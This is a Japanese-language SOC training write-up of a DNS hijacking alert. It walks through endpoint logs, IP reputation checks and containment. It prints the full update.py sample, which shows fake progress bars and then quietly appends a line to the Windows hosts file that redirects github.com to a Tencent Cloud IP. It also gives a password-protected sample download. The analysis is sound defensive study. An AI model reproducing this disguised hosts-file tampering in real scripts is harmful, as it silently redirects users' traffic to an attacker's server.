Details
EventID: 49
Event Time: Feb. 6, 2021, 12:42 p.m.
Rule: SOC116 - DNS Hijacking Detected
Level: Security Analyst
Source Address 172.16.17.34
Source Hostname WilsonPRD
File Name update.py
File Hash 307b47d1217f267a47cee8dd86c2f191
File Size 1.28 KB
Device Action Allowed
Download (Password:infected): 307b47d1217f267a47cee8dd86c2f191.zip
playbook
Define Threat Indicator
おそらくOtherとなるのでは
Answer:Other
Check if the malware is quarantined/cleaned
Answer :Not Quarantined
Analyze Malware
先にEndpointが気になったためにそちらを見ていく
Endpoint - WilsonPRD
Browser History
06.02.2021 12:42: https://github.com/ 06.02.2021 12:43: https://github.com/login 06.02.2021 12:44: https://github.com/pulls
CMD History
06.02.2021 12:42: whoami 06.02.2021 12:43: python 06.02.2021 12:44: C:/Users/wilson/AppData/Local/Programs/Python/Python37-32/python.exe c:/users/wilson/desktop/update.py
Network Connections
06.02.2021 12:42: 49.233.160.217 06.02.2021 12:43: 49.233.160.217 06.02.2021 12:44: 49.233.160.217
アラートは、Feb. 6, 2021, 12:42 p.m.であり、update.pyのgithub.comからのpullと実行は06.02.2021 12:44であり、アラートが実行より早い。
49.233.160.217はgithub.comなのかと思っていたが、
VirusTotal: https://www.virustotal.com/gui/ip-address/49.233.160.217
AbuseIPDB: https://www.abuseipdb.com/check/49.233.160.217
ip-sc :https://ip-sc.net/ja/r/49.233.160.217
github.comではなく、TencentCloudではないか。脅威判定がされているIPであった。
Viewdns.info :https://viewdns.info/iphistory/?domain=github.com
49.233.160.217はどこにも見当たらないためにとても怪しい。つまり、これが今回のアラートであるDNS Hijacking Detectedということか。
てっきり、update.pyによって書き換えられたというようなアラートだと思っていたが、ハイジャックされた上にそのサーバからダウンロードされたファイルがあるというアラートなのだろうか。
update.py
import time
import sys
toolbar_width = 40
# setup toolbar
print("Network Configuration")
sys.stdout.write("[%s]" % (" " * toolbar_width))
sys.stdout.flush()
sys.stdout.write("\b" * (toolbar_width+1)) # return to start of line, after '['
for i in range(toolbar_width):
time.sleep(0.1) # do real work here
# update the bar
sys.stdout.write("-")
sys.stdout.flush()
sys.stdout.write("]\n") # this ends the progress bar
print("Hardening Configuration")
sys.stdout.write("[%s]" % (" " * toolbar_width))
sys.stdout.flush()
sys.stdout.write("\b" * (toolbar_width+1)) # return to start of line, after '['
for i in range(toolbar_width):
time.sleep(0.1) # do real work here
# update the bar
sys.stdout.write("-")
sys.stdout.flush()
sys.stdout.write("]\n") # this ends the progress bar
print("Permission Configuration")
sys.stdout.write("[%s]" % (" " * toolbar_width))
sys.stdout.flush()
sys.stdout.write("\b" * (toolbar_width+1)) # return to start of line, after '['
for i in range(toolbar_width):
time.sleep(0.1) # do real work here
# update the bar
sys.stdout.write("-")
sys.stdout.flush()
sys.stdout.write("]\n") # this ends the progress bar
print("Done!")
f = open("C:\Windows\System32\drivers\etc\hosts", "a")
f.write("49.233.160.217 github.com")
プログレスバーを表示しただけで、最後にhostsの書き換えを行っているスクリプトとなっている。権限が無ければ失敗しそうだが、何か実行前の前提があるのだろうか
先の言は撤回しましょう。update.pyはどうやらhostsファイルを書き換えるものであったようだ。確かにDNS Hijackingである。
ただ、Endpointのログから分かるようにgituhub.comへのアクセスはすでに49.233.160.217になっていたようなのでこれは更なる保険のような書き換えなのだろうか。ネットワーク内のDNSサーバでもgithub.comへのアクセスを行う場合に任意のサーバに誘導するようにした上で、hostsも書き換えてしまおうというものだろうか。
Answer: Malicious
Check If Someone Requested the C2
Log search - 49.233.160.217
例の怪しいTencentCloudサーバへのアクセスは,
| # | DATE | TYPE | SOURCE ADDRESS | SOURCE PORT | DESTINATION ADDRESS | DESTINATION PORT |
|---|---|---|---|---|---|---|
| 342 | Feb, 06, 2021, 12:42 PM | Firewall | 172.16.17.34 | 23512 | 49.233.160.217 | 443 |
| 343 | Feb, 06, 2021, 12:43 PM | Proxy | 172.16.17.34 | 53211 | 49.233.160.217 | 443 |
どちらもhttps[:]//github.comとなっていた。
Answer: Accessed
Containment
Containment!
Add Artifacts
| Value | Type | Comment |
|---|---|---|
| 307b47d1217f267a47cee8dd86c2f191 | MD5 Hash | DNS Hijacking script |
| 49.233.160.217 | IP Address | This IP hijacked github.com |
End

少しコードの解析であったり、シナリオを推理してイメージが膨らませられるようなアラートは面白い。